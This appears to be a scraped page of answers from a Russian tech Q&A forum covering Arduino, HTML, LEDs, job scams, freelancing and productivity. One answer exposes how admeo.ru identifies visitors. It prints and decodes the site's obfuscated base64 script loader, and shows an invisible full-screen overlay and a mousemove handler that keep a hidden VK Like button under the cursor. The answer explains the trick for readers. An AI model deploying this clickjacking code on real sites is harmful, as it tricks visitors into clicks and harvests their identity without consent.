• Как admeo.ru узнает номер телефона?

    evnuh
    @evnuh
    Поиск Гугл помог мне, впусти и ты его в свой дом
    Окромя забирания телефона из ВК:
    8b7884906b7a416d815056dac519e238.PNG
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как подобрать LCD контроллер?

    opium
    @opium
    Просто люблю качественно работать
    Подключить напрямую к ардуине
    Ответ написан
    Комментировать
  • Как подобрать LCD контроллер?

    gbg
    @gbg Куратор тега Arduino
    Любые ответы на любые вопросы
    У вас уже есть контроллер - ардуина.
    Ответ написан
    2 комментария
  • Тенденция к перехвату проектов/клиентов сотрудниками с последующим увольнением. Что делать?

    @Das_original
    Всё очень просто. Уходят - потому что условия лучше.
    Я был по обе стороны баррикад.
    1) Уходил, попутно забирая клиентов - Причина очень проста. Мне не платили девять месяцев. 9 месяцев по 1500$, мне нужно было каждый божий день обслуживать 10 клиентов в разных частях города. Без денег на обслуживание мой личный транспорт сообщил, что без капитального ремонта никуда не поеду. По поводу оплаты труда, директор всё время кормил завтраками, ныл что нет денег, хотя клиентов находил я, обрабатывал, продавал услуги, внедрял и поддерживал. Отсюда вывод - послать директора, забрать клиентов, получать профит.
    2) Я директор. В первую очередь, пока работал один, создал условия:
    а) Снял большой офис
    б) Поднял тестовый полигон
    в) Устроил комнату отдыха
    г) Проработал систему вознаграждения сотрудников
    д) Нанял юристов, для разработки договоров с Клиентами/Сотрудниками

    За 1.5 года существования компании, задержал заработок всего один раз (но на 2 недели).
    Итог: Потерял 2х сотрудников из 11, потерял 1го клиента.

    Так что вывод. Нет задержек в оплате - нет потерь.
    Ответ написан
    1 комментарий
  • Тенденция к перехвату проектов/клиентов сотрудниками с последующим увольнением. Что делать?

    @vilgeforce
    Раздолбай и программист
    А деньги платить вы им пробовали? Ну и вообще условия лучше чем у конкурентов предлагать.
    Ответ написан
    14 комментариев
  • Протокол общения с Arduino?

    Весь протокол в обмене словами, по сути.
    Т.е. по определенному набору входных слов можно сделать функции, которые отработают и отправят в ответ строку - результат.

    Можно сделать примерно такое (сильно не пинать за говнокод, это пример!):
    отправляем строку. арудина её читает, если находит подстроку, то выполняет определенное действие, иногда пишет в терминал какие-то слова, что действие выполнено.
    if (strstr(term_in, "SWPOWER"   ) != 0) code = 1;/*strstr - найти подстроку в строке, пришедшей с ПК (алгоритм чтения слова опустим)*/
    if (strstr(term_in, "CALL_1"    ) != 0) code = 2;
    if (strstr(term_in, "SMS_SEND"  ) != 0) code = 3;
    if (strstr(term_in, "CTRL+Z"    ) != 0) code = 4;
    //в зависимости от найденной подстроки был получен один из кодов и по нему работает case
          switch (code)
          {
            case 1:
              Serial.println("@power on/off signal");
              digitalWrite(9, HIGH);
              delay(1000);
              digitalWrite(9, LOW);
              break;
            case 2:
              Serial.println("term@: call number +790679__823");//отправляем сообщение, что начата попытка дозвона
              gprsSerial.println("ATD+790679__823;");//в шилд
              break;
            case 3:
              function1();
       default:
              /*Код, который выполнится, если ниодно из константых значению не соответствует значение в переменной variable*/
              Serial.print("text ");
              break;
    Ответ написан
    3 комментария
  • Как вы думаете обман?

    @inkvizitor68sl
    Linux-сисадмин с 8 летним стажем.
    Ой, старый-старый лохотрон, я его ещё 12 лет назад встречал.
    Запомните просто раз и навсегда - ни один человек/компания, которые хотят от вас работы, не будут с вас просить денег (ни за обучение, ни страховки, ни за "рекламные материалы", ничего). Даже если потом и можно будет что-то у них заработать, то это будет какой-нибудь сетевой маркетинг в духе "купи у нас товаров и продай их сам".

    Просить вашего времени (в виде обучения, или тестовых заданий, или ещё какой-нибудь чертовой матери) они вправе. А вот денег - нет.
    Ответ написан
    1 комментарий
  • Как вы думаете обман?

    @bears
    Даже думать не надо ) явный лохотрон. Однажды, в самом начале карьеры фрилансера, сталкивался с такими "работодателями", начал переписку, в процесе тетка проболталась и выдала название печатного издания, от имени которого они работают. Представилась HR менеджером, назвала свое имя. Погуглив название конторы, нашел их сайт. Издание действительно сущетвует, но в разделе "Вакансии" такой вакансии небыло, более того - HR менеджер был совсем другой человек. Почта тоже была загадочная, типа Вашей labirint-press@labirint-freelance.ru )) ни один контакт что она мне скинула не нашел на их сайте. Погуглив, нашел даже форум, где этот вопрос уже много раз поднимали. После этого, раз и навсегда закрыл для себя эту тему )
    Ответ написан
    Комментировать
  • Как в HTML в таблице строки (tr) можно сделать ссылками?

    27cm
    @27cm
    TODO: Написать статус
    Перед tr писал а, но он не принимает эти тэги.

    Так делать нельзя, потому что tr может лежать только внутри table, tbody, thead или tfoot:
    www.w3.org/TR/html5/tabular-data.html#the-tr-element

    codepen.io/27cm/pen/MaGmdQ
    <style>
    .table {
        display: table;
    }
    
    .table > a {
        display: table-row;
    }
    
    .table > a > div {
        display: table-cell;
    }
    </style>
    <div class="table">
        <a href="#">
            <div>1-1</div><div>1-2</div><div>1-3</div>
        </a>
        <a href="#">
            <div>2-1</div><div>2-2</div><div>2-3</div>
        </a>
    </div>


    Вариант с JavaScript:
    <table>
        <tr onclick="document.location = 'example.com';">
            <td>1-1</td><td>1-2</td><td>1-3</td>
        </tr>
        <tr onclick="document.location = 'example.com';">
            <td>2-1</td><td>2-2</td><td>2-3</td>
        </tr>
    </table>
    Ответ написан
    Комментировать
  • Насколько возможно использовать лазерный модуль HLM1230 в магазинах?

    @jar_ohty
    Научный работник (химия), радиолюбитель
    Данный модуль можно использовать только в условиях, когда невозможно воздействие прямого излучения на глаза и кожу. Так как идет речь о сканировании ноги, то есть воздействие на кожу предполагается, использовать данный лазер в РФ в соответствии с СанПиН № 5804-91 «Санитарные нормы и правила устройства и эксплуатации лазеров» нельзя, так как превышается предельно допустимый уровень плотности мощности при однократном облучении.
    Ответ написан
    Комментировать
  • Как сделать background чтоб на разных разрешениях картинка не обрезалась?

    agmegadeth
    @agmegadeth
    Веб-разработчик в дизайн студии
    background: url('XXXX.jpg') center top no-repeat;
    contain убрать.
    Ответ написан
    Комментировать
  • Как улучшить китайский светодиод?

    Jump
    @Jump
    Системный администратор со стажем.
    Разницы какой светодиод в плане долголетия нет.
    Диоды горят от перегрева и некачественного питания.
    Поэтому ставьте нормальную электронику которая будет давать нормальное питание. И грамотный теплоотвод.

    Различия между китайскими и не очень китайскими светодиодами не в долголетии, а в КПД.

    P.S и не надо понижать напряжение. Диоды не любят ни пониженного, ни повышенного напряжения.
    Нужно держать напряжение в норме, и регулировать ток, и следить за температурой.
    Ответ написан
    Комментировать
  • Что делать, если заказчик просит убрать работу из портфолио?

    @mamkaololosha
    Если просят убрать, то уберите. При общении с HR можете сказать, что не публичные работы или те, которые заказчик попросил не выкладывать, можете показать лично по требованию. В любом случае это покажет ваш скилл решать конфликтные ситуации и +1 в карму за честность.
    Ответ написан
    Комментировать
  • Arduino в качестве RFID/NFC считывателя, хватит ли мощности?

    MaxDukov
    @MaxDukov
    впишусь в проект как SRE/DevOps.
    хватит однозначно. для квеста делал интерактив с RFID картами. Там считыванием занимается контроллер ридера, ардуина только дергает его, получая от него данные.
    Я Вам могу больше сказать - ридеров на 1 ардуину можно повесить несколько.
    Ответ написан
    2 комментария
  • Как ускорить работу программисту?

    customtema
    @customtema
    arint.ru
    1. Проектировать решения, прежде чем писать код. Цветными фломастерами в тетрадке. Записывать микроТЗ, прежде чем писать код. В тетрадку или в любой текстовый редактор. Вообще, код написать просто, вы в курсе, да? Придумать, что написать - это другой вопрос.
    2. Использовать личный список задач, вне зависимости от того, что используют коллеги. Если требуют использовать корпоративный - используйте его и личный. Любой таск-менеджер, а еще лучше - записывать даже самые мелкие задачи в тетрадку и вычеркивать при изменении статуса цветным фломастером.
    3. Работать ритмично. N минут работы, M минут отдыха, где N от 20 до 90, M от 5 до 20.
    4. Заняться физкультурой. Обязательно каждый день гулять. Здоровое питание, полный отказ от алгоколя и кофе, принимать витамины курсами.
    5. На работе заниматься только работой. Не на работе работой не заниматься. Можно завести два телефона (или двухсимочный телефон) и отключать симки, в зависимости от времени дня и других факторов. Не использовать мессенджеры, скайп, джаббер, аську и т.д. Не отвлекаться на соцсети и т.д.


    Эти простые вещи помогли мне увеличить продуктивность примерно в десять раз.

    И да, вы используете VCS и фреймворки?
    Ответ написан
    3 комментария
  • Какой URL лучше для продвижения?

    @maxtm
    Make money, not job
    Конечный товар должен быть на втором уровне, и без привязки ко всяким фабрикам.
    Идеально - когда весь контент у вас на втором уровне, пример
    /фабрика/контент_по_этой_фабрике
    /продукт/имя_продукта
    Ответ написан
    1 комментарий
  • Как ускорить работу программисту?

    dimasmagadan
    @dimasmagadan
    однозначно делать заготовки кода.
    сейчас полностью всем заказам, даже если заказчику это не нужно, делаю версию в виде плагина/библиотечки для себя.
    очень помогает сократить время при выполнении следующих заказов. ну и, если делать заготовки, нужно придерживаться одинакового стиля написания кода. что повышает его читаемость и скорость работы.

    потом, перед тем как брать задачу, если нет схожего решения из уже выполненных, стоит загуглить. даже если задача очень простая/типовая, или, наоборот, что-то сложное и не стандартное.
    для 90% задач можно найти готовое решение/алгоритм решения/библиотечку.

    изучайте инструменты. npm, bower, composer, vagrant, grunt и тп, что подходят под вашу специализацию.
    освобождают кучу времени, учат использовать правильные паттерны
    Ответ написан
    Комментировать
  • Как людям удается столько зарабатывать на фрилансе?

    Deerenaros
    @Deerenaros
    Программист, математик, задрот и даже чуть инженер
    Внесу свою небольшую лепту.

    Во-первых, заказов одновременно можно вести несколько. По опыту могу сказать, что бОльшую часть времени занимает общение с клиентом. Что-то вроде - пару дней поработали - отправляем сдавать - ждём следующего вечера. Оперативные клиенты встречаются, но с ними и работа завершается быстрее, да и за срочность они нередко доплачивают.

    Во-вторых, на фриланс биржах жуткий демпинг. Так что первые два месяца скорее всего придётся поработать на зп дворника. Вооще, сейчас фриланс сообщество относительно стабильно именно из-за высокого входного порога. Первые серьёзные деньги раньше второго месяца увидеть очень сложно. Здесь придётся работать на престиж, то есть зарабатывать контакты. Очень часто бывает, что довольный клиент вернётся, а бывает даже не уходит - оставляет проект на сопровождение. Причём делать скорее всего ничего не придётся, а лишняя копейка никогда не помешает. Набрав 10-15 проектов на сопровождение можно вообще не работать и получать пару зарплат дворника.

    В-третьих, время, требуемое на проект, что вы привели, это не средней руки вэб-мастера. Это начинающего вэб-мастера. К тому же вэб-мастера вымирают как вид. Идеально, когда со временем вы специализируетесь на чём-нибудь узком - разработка дизайна, вёрстка с дизайна или программирование бэк-энда, найдя других надёжных дизайнеров или даже скооперировавшись в вэб-студию. Многие "фрилансеры" есть никто иные, как клиент-менеджеры вэб-студий. То есть менеджер формирует ТЗ - пара часов (или дней) общения в скайпе, передаёт дизайнеру, который формирует дизайн - ещё пара часов (или дней), а верстальщик с программистом верстают и программируют - последние пара часов (или дней) =) По моему очевидно, что специализируясь на узком профиле можно значительно ускорить свою работу: знакомство с инструментами, доскональное знание области, проще следить за трендами... Когда знаешь, что делаешь, количество работы можно свести к минимому, к тому же постоянное использование уже готовых наработок...

    Впрочем, постоянный поток заказов, сформированный круг знакомых как заказчиков, так и фрилансеров, узкая специализация... Это всё хорошо и классно. Но часто не хватает одного - дисциплины. Обустроить свой рабочий день таким образом, чтобы минимально отвлекасться и действительно выполнять свою работу быстро, действительно нагружать себя по максимому. Такое даётся далеко не каждому. Но таким ни демпинг не почём, ни кризис. Заказы будут всегда, они сами будут приходить, тогда как высокая дисциплина позволит выполнять их быстро.
    Ответ написан
    6 комментариев